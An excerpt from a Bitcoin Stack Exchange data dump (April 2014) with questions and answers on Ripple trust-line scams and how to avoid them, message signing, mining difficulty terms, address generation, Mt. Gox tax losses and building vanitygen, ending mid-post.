  <row Id="24344" PostTypeId="2" ParentId="24339" CreationDate="2014-04-06T04:14:10.050" Score="5" Body="&lt;p&gt;See the &lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=5&amp;amp;t=3334&quot; rel=&quot;noreferrer&quot;&gt;Ripple Trust Lines&lt;/a&gt; topics in the Ripple forum.&lt;/p&gt;&#xA;&lt;p&gt;In this context &amp;quot;empty trust line&amp;quot; probably means a trust line with a zero balance but a non-zero limit. Such a line indicates to Ripple that you are willing to accept a balance of the specified currency from the specified issuer.&lt;/p&gt;&#xA;&lt;p&gt;Note that the forum topic you refer to was written before the client added support for the server-side &amp;quot;no rippling&amp;quot; flag. This is implemented backwards in the client as an &amp;quot;Allow Rippling&amp;quot; checkbox which is &lt;em&gt;not checked&lt;/em&gt; by default. What that means is that if you use the default to create two trust lines the Ripple system will not allow funds to &amp;quot;ripple&amp;quot; between them. Trust lines created before this option was present, or created with the checkbox selected, are allowed to &amp;quot;ripple&amp;quot;; you overall balance will stay the same but it can move (within the trust limits set) to/from a trust line that has &amp;quot;Allow Rippling&amp;quot; enabled. This is an incredibly powerful and useful feature.&lt;/p&gt;&#xA;&lt;p&gt;So in short the &amp;quot;scam&amp;quot; is to get someone to foolishly extend a trust line to an account the attacker controls for a currency that they hold a balance on (or will in the future hold a balance on) &lt;strong&gt;and&lt;/strong&gt; have the user check &amp;quot;Allow Rippling&amp;quot; on at least one of those trust lines. Then the attacker can make a payment that &amp;quot;ripples&amp;quot; through the victims account &amp;quot;taking&amp;quot; their positive balance and replacing it with a worthless balance they have no intention of redeeming.&lt;/p&gt;&#xA;&lt;p&gt;To avoid this simply do any &lt;em&gt;one&lt;/em&gt; of the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Only ever add a trust line to a Ripple account that you trust. Don't tell Ripple you trust someone that is untrustworthy. Only set the limit to an amount you're willing to risk.&lt;/p&gt;&#xA;&lt;p&gt;This is incredibly basic and obvious but sadly there are people willing to blindly follow pretty &amp;quot;click here&amp;quot; picture instructions to do all kind of unsafe things to their accounts. There is no reasonable technical measure to protect these people from themselves. An attacker could just as easily claim they need your Ripple secret or your pass-phrase in order to send you a payment and some non-zero number of people will foolishly give away complete access to their account.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Leave the &amp;quot;Allow Rippling&amp;quot; checkbox unchecked unless you know what you're doing.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Or even more simply: don't randomly click things or make changes you don't understand on a system that involves your money just cause some random place on the internet tells you to.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-06T04:14:10.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24345" PostTypeId="1" CreationDate="2014-04-06T05:59:26.870" Score="6" ViewCount="1455" Body="&lt;p&gt;I need to know with 100% certainty that someone can tell me &quot;this is my wallet&quot; and prove it to me.  I could of course simply get their private key/brainwallet phrase, is there any other way to do it?&lt;/p&gt;&#xA;" OwnerUserId="13312" LastEditorUserId="575" LastEditDate="2014-04-06T07:36:59.333" LastActivityDate="2014-04-07T15:30:06.750" Title="Is it possible for someone to verify that a wallet is theirs wallet, without providing their private key?" Tags="|address|verification|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24346" PostTypeId="2" ParentId="24345" CreationDate="2014-04-06T07:42:02.643" Score="8" Body="&lt;p&gt;Yes, you can use &quot;Message Signing&quot;, available in most Bitcoin clients, including Bitcoin core. If I sign with my address the message &quot;I am Meni Rosenfeld and I am proving to user127317 that this is my address&quot;, you can be sure it's mine.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-04-06T07:42:02.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24347" PostTypeId="1" AcceptedAnswerId="24352" CreationDate="2014-04-06T08:01:19.993" Score="0" ViewCount="576" Body="&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpc = RippleNetwork(app.config['RIPPLE_SERVER'])&#xA;poll = RippleNetwork(app.config['RIPPLE_SERVER'])&#xA;last_ledger = Variables.get('ripple_last_ledger')&#xA;poll.subscribe(streams=['ledger'])&#xA;&#xA;while True:&#xA;    trans = []&#xA;    try:&#xA;        rst = rpc.account_tx(account=withdraw_wallet, ledger_index_min=last_ledger, limit=1000)&#xA;        trans.extend(rst['transactions'])&#xA;        while rst.get('marker') is not None:&#xA;            rst = rpc.account_tx(account=withdraw_wallet, ledger_index_min=last_ledger, marker=rst['marker'], limit=1000)&#xA;            trans.extend(rst['transactions'])&#xA;&#xA;    except RippleException as e:&#xA;        if e.resp['error'] == 'lgrIdxsInvalid':&#xA;            log.debug('ledger_index_min too new, sleeping for 10s')&#xA;            time.sleep(10)&#xA;            continue&#xA;&#xA;        raise&#xA;&#xA;    for rec in trans:&#xA;        tx = rec['tx']&#xA;        log.debug('Got tx %s', tx['hash'])&#xA;&#xA;        if tx['TransactionType'] != 'Payment':&#xA;            continue&#xA;&#xA;        if tx['Destination'] != withdraw_wallet:&#xA;            continue&#xA;&#xA;        log.info('Queue tx %s', tx['hash'])&#xA;        tube.put(str(tx['hash']))&#xA;&#xA;    last_ledger = rst['ledger_index_max'] + 1&#xA;    Variables.set('ripple_last_ledger', last_ledger)&#xA;    db.session.commit()&#xA;    # Wait for next(or several) ledger close here.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code above is my current implementation, but this method does not scale to thousands of accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any 'best practice'?&lt;/p&gt;&#xA;" OwnerUserId="15079" LastActivityDate="2014-04-06T13:37:08.983" Title="Ripple: How to monitor multiple accounts reliably and effectively?" Tags="|ripple|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24348" PostTypeId="2" ParentId="24345" CreationDate="2014-04-06T08:52:19.913" Score="3" Body="&lt;p&gt;Yes. Bitcoin uses asymmetric key cryptography, so the natural approach is to have the user &lt;em&gt;use&lt;/em&gt; (rather than reveal) their secret key in a way that can be verified using only the public key. The only disadvantage is that the public key will be revealed---Bitcoin is in a sense even safer than most other uses of asymmetric key cryptography in that this only occurs after a transaction or signature is made from a bitcoin address' private key. But the general idea is that asymmetric key cryptography remains safe if the public key is indeed public (and unless there are big math or physics breakthroughs, such as a large quantum computer, that should remain true).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most trivial way to do this is to ask the user you want to prove his ownership of a Bitcoin address to move bitcoins from it. If he can comply, obviously he has control over it---or tricked someone else into moving them. So if you are really after 100% certainty, you would have to ask for all bitcoins at that address to be moved to one of your addresses (specifically created only for this transaction), presumably on the promise that you would return them immediately. That is still slightly better than requiring the customer to reveal his private key, which would allow you to take possession of any Bitcoin at that address at any time, not just during this one-time verification. However, the only real advantage to this scheme is that you won't have to explain much because any Bitcoin user will know how to transfer bitcoins, and you can verify that it happened simply by observing the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another option, signatures, which Meni Rosenfeld has already explained in his answer. Any Bitcoin client will allow a user to create custom signatures, but you may have to educate them about it because it is not a commonly used feature yet. There is a further usability issue in that the signature does not automatically get transmitted, so you have to ask the user to share (i.e. copy and paste it). Finally, you can only verify if the user has signed the exact message you asked him to with the Bitcoin address you expected---there's little you can do to help troubleshoot if it turns out this is not what he did other than to reiterate that you'll need the exact same text with no edits, extra line-breaks, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite these practical barriers to using signatures, they have huge advantages, not just that you never do need to be trusted with the bitcoins themselves, but also non-repudiation: You can ask for any kind of statement (such as in Meni Rosenfeld's example), and by signing it, you probably (I am no lawyer, though) achieve non-repudiation, since only people who have the private key to the Bitcoin address used for signing are able to create such a signature. So if anything ever goes to court, the person who signed the statement will find it very difficult to uphold any claim that someone else created the signature---he'd have to either say it is not his Bitcoin address after all, or else that his wallet was stolen but the hacker didn't bother to take his Bitcoin, merely creating this signature instead. Hence you may be able to add extra features---such as providing his identity or agreeing to some contract, at least if your agreement with that other person involves him taking responsibility for keeping his private key private and him assuming liability if anyone else uses it.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-04-07T15:30:06.750" LastActivityDate="2014-04-07T15:30:06.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24349" PostTypeId="1" AcceptedAnswerId="24354" CreationDate="2014-04-06T10:18:14.633" Score="3" ViewCount="1417" Body="&lt;p&gt;In pooled mining, there seem to be three different terms for difficulty in use. Apparently, the Stratum protocol uses &lt;code&gt;bdiff&lt;/code&gt;, BTCGuild uses &lt;code&gt;pdiff&lt;/code&gt;, and &lt;code&gt;Ldiff&lt;/code&gt; is common for various Scrypt pools as mentioned in this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=557991.msg6078779#msg6078779&quot; rel=&quot;nofollow&quot;&gt;bitcointalk thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the meanings of &lt;code&gt;pdiff&lt;/code&gt;, &lt;code&gt;bdiff&lt;/code&gt;, and &lt;code&gt;ldiff&lt;/code&gt;? In what way do they differ?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="2734" LastEditDate="2016-05-02T07:30:36.983" LastActivityDate="2016-05-02T07:30:36.983" Title="In pooled mining, what is pdiff, bdiff and ldiff?" Tags="|mining-pools|difficulty|mining-technical-details|terminology|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24350" PostTypeId="1" AcceptedAnswerId="24351" CreationDate="2014-04-06T10:34:51.443" Score="1" ViewCount="462" Body="&lt;p&gt;When running a service that needed a bitcoin address, would it be better to generate a new address to use at that moment and store the private key on your server, or would it be better to pre-generate say a million addresses and have the private addresses already stored offline?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The later would be combined with a backup option to generate on the fly if its address pool dried up.&lt;/p&gt;&#xA;" OwnerUserId="15051" LastActivityDate="2014-04-06T17:09:58.663" Title="Generating addresses on the fly or pre-generate and store public key?" Tags="|address|private-key|address-generation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24351" PostTypeId="2" ParentId="24350" CreationDate="2014-04-06T10:47:59.593" Score="2" Body="&lt;p&gt;To answer this question accurately, we'd really need to know more about how these new addresses will be used in your service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these newly-generated addresses are to be &quot;deposit only&quot;, that is, as long as you're not needing to send coins from these addresses, then the most secure option &lt;strong&gt;by far&lt;/strong&gt; is to generate the addresses offline and keep the private keys offline.  This is pretty obvious: cold wallets are almost always more secure than hot wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, most services will need to access the private keys of newly-generated addresses for &lt;em&gt;some reason&lt;/em&gt;, if only to send any Bitcoins received to another wallet.  In this case, the next best option is to maintain as low a balance as possible in these addresses.  That is, as soon as they receive any coins, forward the balance as soon as possible to an address that is stored in a secure, offline wallet.&lt;/p&gt;&#xA;" OwnerUserId="3212" LastActivityDate="2014-04-06T10:47:59.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24352" PostTypeId="2" ParentId="24347" CreationDate="2014-04-06T13:37:08.983" Score="0" Body="&lt;p&gt;I'm not sure a large code paste is the best way to get your example across (I'm unfamiliar with the library/API you're using for example). Assuming it's correct to summarize that you are looping, repeatedly doing &lt;a href=&quot;https://ripple.com/wiki/JSON_Messages#account_tx&quot; rel=&quot;nofollow&quot;&gt;account_tx&lt;/a&gt; RPC calls with at most a ten second delay; then that's not efficient even for a small number of accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a small-ish number of accounts, I'd recommend doing something like your loop &lt;em&gt;only&lt;/em&gt; on restart to catchup from a last known ledger you've processed. (For example, after restarting your monitoring after an outage or disconnect). Once caught up it's better to use the &lt;a href=&quot;https://ripple.com/wiki/JSON_Messages#subscribe&quot; rel=&quot;nofollow&quot;&gt;subscribe&lt;/a&gt; RPC with the set of Ripple accounts you're interested in. The server will send you a notification anytime any transaction touches any of the accounts you list. This avoids polling and is far more efficient, especially during periods where the accounts are idle. (I'm only familar with using subscribe over a websocket, and it works very well for this even over days; I don't know what library support for this is like).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you go beyond a certain threshold of accounts you are trying to watch, especially if they are very active accounts, it may be easier to use the subscribe RPC to subscribe to all transactions and filter those for just the ones effecting the accounts you're interested in. Also, at that point it may become a good idea to do such queries against your own locally running rippled rather than rely on a public Ripple server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point at which it's best to switch from subscribing to a list of accounts versus subscribing to all transactions is unclear to me. For starters, there may be a limit to the number of accounts you can specify in a subscribe call; if so perhaps modify a locally running rippled to remove any such limit and have it do the filtering may be appropriate.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-04-06T13:37:08.983" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24354" PostTypeId="2" ParentId="24349" CreationDate="2014-04-06T14:12:08.313" Score="2" Body="&lt;p&gt;&lt;em&gt;What are the meanings of pdiff, bdiff, and ldiff?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The numbers are the current difficulty of the network(s).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;bdiff&lt;/code&gt; is the target difficulty of the whole Bitcoin network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;ldiff&lt;/code&gt; is the target difficulty of the whole Litecoin network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;pdiff&lt;/code&gt; is your pool's target difficulty.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you may know, the difficulty is a measure of how difficult it is to find a hash below a given target value.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In what way do they differ?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Is bdiff 1 == pdiff 1 == ldiff 1, or how do they relate?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; No. That defeats the purpose of having multiple difficulties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a multi-part answer; I'll try to divide it in a manner that it makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Bitcoin&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Difficulty&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network has a global block difficulty (&lt;code&gt;bdiff&lt;/code&gt;). Valid blocks must have a hash less than or equal to this target. Mining pools also have a pool-specific share difficulty setting a lower limit for shares (&lt;code&gt;pdiff&lt;/code&gt;, usually 1).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Calculation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How is &lt;code&gt;bdiff&lt;/code&gt; calculated?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bdiff&lt;/code&gt; is an approximation based off of a known hash where the leading 32 bits are zero and the rest are one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;difficulty = difficulty_1_target / current_target&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(target is a 256 bit number)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;difficulty_1_target can be different for various ways to measure difficulty.&#xA;  Traditionally, it represents a hash where the leading 32 bits are zero and the rest are&#xA;  one (this is known as &quot;pool difficulty&quot; or &quot;pdiff&quot;). The Bitcoin protocol represents&#xA;  targets as a custom floating point type with limited precision; as a result, Bitcoin&#xA;  clients often approximate difficulty based on this (this is known as &quot;bdiff&quot;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How is that value stored?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each block stores a packed representation [...] for its actual hexadecimal&#xA;  target. The target can be derived from it via a predefined formula. For example, if the&#xA;  packed target in the block is &lt;code&gt;0x1b0404cb&lt;/code&gt;, the hexadecimal target is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;0x0404cb * 2**(8*(0x1b - 3)) = 0x00000000000404CB000000000000000000000000000000000000000000000000&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;code&gt;0x0404cb&lt;/code&gt; value is a signed value in this format. The largest legal value for this field is &lt;code&gt;0x7fffff&lt;/code&gt;, while the smallest is &lt;code&gt;0x008000&lt;/code&gt;. To make a larger value you must shift it down one full byte positive valid value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How does one calculate (estimate) &lt;code&gt;bdiff&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say your value is 1 (&lt;code&gt;0x1d00ffff&lt;/code&gt;) &lt;pre&gt;0x00ffff * 2**(8*(0x1d - 3)) = 0x00000000FFFF0000000000000000000000000000000000000000000000000000&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be &lt;pre&gt;0x00000000FFFF0000000000000000000000000000000000000000000000000000 /&#xA;0x00000000000404CB000000000000000000000000000000000000000000000000 &#xA;= 16307.420938523983&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Litecoin&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Difficulty&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Because Litecoin is based on Bitcoin &lt;code&gt;ldiff&lt;/code&gt; is calculated the same as &lt;code&gt;bdiff&lt;/code&gt;. It is an approximation relative to a known hash (256-bit number where the leading 32 bits are zero and the rest are one).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Calculation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ldiff&lt;/code&gt; is calculated in the same way &lt;code&gt;bdiff&lt;/code&gt; is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both have a maximum of infinity (basically), and a minimum of 1/4096&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Litecoin takes its roots in Bitcoin, this also means &lt;code&gt;ldiff&lt;/code&gt; is an approximation, not a precise value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://litecoin.info/Difficulty&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Pools&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Difficulty&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pdiff&lt;/code&gt; is relative to the crypto-currency in question. In the cases of Bitcoin and Litecoin pools, it represents the same thing; but in, for example, a Namecoin pool, the difficulty may not be 1, or it may be calculated differently. This is confusing because the 256-bit number in question is &lt;code&gt;0x1d00ffff&lt;/code&gt;. The number was not called anything initially. But once pooled mining started, it colloquially became known as &lt;code&gt;pdiff&lt;/code&gt;. But it was around before pooled mining. Pools just happened to use it as their target difficulty, and because &lt;code&gt;bdiff&lt;/code&gt; was already a thing, the name &lt;code&gt;pdiff&lt;/code&gt; was transposed to the number &lt;code&gt;0x1d00ffff&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that pools &lt;em&gt;usually&lt;/em&gt; use non-truncated-targets, and &lt;em&gt;usually&lt;/em&gt; use a difficulty of 1. This means that even within the same crypto-currencies there really is no set definition of what &lt;code&gt;pdiff&lt;/code&gt; is; however, I know of no pools/pool software that contradict these rules, because they are desirable. Just remember that anyone can make his pool do whatever he wants it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;pdiff&lt;/code&gt; is relative.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Calculation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Assuming this is a standard pool, calculation follows basically the same as &lt;code&gt;bdiff&lt;/code&gt;, but with one exception:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the target value is still &lt;code&gt;0x1d00ffff&lt;/code&gt;. &lt;a href=&quot;https://en.bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;The Wiki&lt;/a&gt; says pools usually use &quot;non-truncated targets&quot; So, instead of &lt;pre&gt;0x00000000FFFF0000000000000000000000000000000000000000000000000000&lt;/pre&gt; we get &lt;pre&gt;0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which, when calculated, yields &lt;pre&gt;0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF /&#xA;0x00000000000404CB000000000000000000000000000000000000000000000000 &#xA;= 16307.669773817162&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2734" LastEditorUserId="2734" LastEditDate="2016-05-02T03:33:26.667" LastActivityDate="2016-05-02T03:33:26.667" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24355" PostTypeId="1" CreationDate="2014-04-06T14:22:17.933" Score="2" ViewCount="259" Body="&lt;p&gt;Can anyone explain how AML rules, alerting, and FinCEN reporting would work under Ripple?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-05-10T14:30:11.913" Title="How would AML techniques work in Ripple?" Tags="|ripple|ripple-gateways|aml|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24356" PostTypeId="1" CreationDate="2014-04-06T16:48:50.013" Score="3" ViewCount="526" Body="&lt;p&gt;If I put $50 into Mt. Gox in February 2013, made multiples trades from BTC to USD and back, always remaining in the Mt. Gox system, and then lost all of it in the March bankruptcy, how do I handle that for tax purposes?  Do I have to pay taxes on money I never had?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no record of transactions since the site has been shut down.&lt;/p&gt;&#xA;" OwnerUserId="3615" LastActivityDate="2014-04-06T20:14:29.203" Title="Mt. Gox losses for tax purposes" Tags="|mtgox|taxes|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24358" PostTypeId="2" ParentId="24350" CreationDate="2014-04-06T17:09:58.663" Score="0" Body="&lt;p&gt;If you can limit yourself to &lt;em&gt;only&lt;/em&gt; use pre-generated addresses for receiving Bitcoin payments, then that option is clearly preferable because it significantly lowers your server's security requirements, from having to protect a secret to having to protect against the injection of bogus Bitcoin addresses. Even if your service involves more than just receiving Bitcoin payments, handling only the Bitcoin addresses is the safest option for your web servers. Of course it only shifts the challenge of securely handling the associated wallets, but it allows you to separate this task and hence gives you more flexibility. For example, you may find a particularly cheap way to run a bitcoin-handling server on your own premises but without the connectivity to act as web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to reap this security benefit, then you should not fall back to generating new addresses on a server meant to not handle wallets. Instead, you'd need to limit your usage of them such that they won't be used up before you can replenish them. One option, of course, is to pre-generate a huge number of Bitcoin addresses such that hardly any rate-limitation is required to prevent you from running out.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-04-06T17:09:58.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24359" PostTypeId="2" ParentId="24318" CreationDate="2014-04-06T17:26:00.027" Score="3" Body="&lt;p&gt;If you subscribe to the notion that names do not matter, then obviously only technical differences can make any altcoin potentially superior. Most altcoins do not meet this criteria, because they are barely more than a Bitcoin clone (possibly with some minor tunings of details such as the block confirmation time you already mentioned).&lt;/p&gt;&#xA;&lt;p&gt;Here are some of those differences that are not entirely trivial:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Proof-of-stake: By replacing or supplementing the proof-of-work scheme used in Bitcoin, there is the potential of making an altcoin &amp;quot;greener&amp;quot; (whilst altering its exact security mechanism).&lt;/p&gt;&#xA;&lt;p&gt;Example: Peercoin.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inflation and coin creation schedule: There is a long history of economists arguing whether inflation is necessary in a currency, to provide the incentive to invest rather than hoard. Whilst that argument would seem to only be relevant if you want people to invest even if the expected outcome of the investment is zero, there certainly isn't an agreement in economic circles that an ultimately inflation-free currency is desirable. An altcoin with different characteristics, especially if it includes continued inflation, may be more appealing to many established economists.&lt;/p&gt;&#xA;&lt;p&gt;Example: Dogecoin.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Additional functionality: Enabling things not, or not readily, possible using Bitcoin, such as domain name resolution, smart properties, on-blockchain contracts.&lt;/p&gt;&#xA;&lt;p&gt;Examples: Namecoin, Counterparty.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;There are naturally arbitrarily many other possible differences, such as how bloated an altcoin's blockchain is and if the altcoin actually has its own blockchain or uses another coin's blockchain, as is a natural approach for some of the &amp;quot;additional functionality&amp;quot; type altcoins, namely those extending the functionality or closely interacting with an existing cryptocurrency. Thanks to user CoinedTalk for suggesting an edit to point this out, and sorry for not (yet?) buying into the argument that this aspect matters much in the context of this question.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-06-11T23:36:49.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24360" PostTypeId="2" ParentId="2484" CreationDate="2014-04-06T18:19:44.090" Score="0" Body="&lt;p&gt;I have been buying subscription based services using Bitcoin payments delivered by BitPay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get a monthly invoice in email which you need to pay or the service stops working. One could automatize the processing of this invoice quite easily - after all Bitcoin is money with API (just pick up address, sum, automatize the send from your wallet). In this case, it would be the end user still in control what Bitcoin emphasis a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative, a prefilled wallet where you share the private keys and you can transfer Bitcoins back to yourself on any moment does not sound bad either.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-04-06T18:19:44.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24362" PostTypeId="2" ParentId="24356" CreationDate="2014-04-06T20:14:29.203" Score="1" Body="&lt;p&gt;As the final bankruptcy has not taken place, you don't know yet what you lost.  There could be some &lt;a href=&quot;http://money.cnn.com/2014/03/21/technology/mt-gox-missing-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;partial recovery&lt;/a&gt; paid to accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually the bankruptcy will be finalized, you'll get access to records, and you'll get the final determination of what was lost.  You'd claim your loss in that tax year, not 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I see in your question you also might be wondering about paying taxes on any gains. If you have records, unfortunately you'd have to claim those as gains in the 2013 tax year.  If you have no records, you have to estimate using your best judgment.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-04-06T20:14:29.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24364" PostTypeId="1" AcceptedAnswerId="24562" CreationDate="2014-04-06T20:30:59.883" Score="2" ViewCount="893" Body="&lt;p&gt;I have seen several methods for building bitcoin from source on Fedora, but I have not seen corresponding information for vanitygen.&#xA;It builds, and it starts up, but then it gives me the error:&#xA;&quot;pattern.c:164: vg_exec_context_init: Assertion `vxcp-&gt;vxc_key' failed.&quot;&#xA;Of course, the cause is easily searchable: the Fedora implementation of OpenSSL does not include the algorithms that bitcoin depends on. Bicoin got around this, but vanitygen does not seem to be able to.&#xA;I downloaded and built the most recent version of OpenSSL from their website.&#xA;Using &quot;make -rpath [path to the openssl I built]&quot;, however, does not change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: How do I get vanitygen to point to my OpenSSL rather than the default OpenSSL? I don't want my entire system to use the custom OpenSSL because I trust the Fedora implementation more than the one I downloaded; however I don't intend to use the generated addresses for more than small bitcoin amounts, so they don't have to be as safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7940/how-do-i-build-bitcoin-in-fedora-18&quot;&gt;How do I build Bitcoin in Fedora 18?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: For reference, the procedure referenced in the accepted answer below is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: In both this and the accepted answer below, 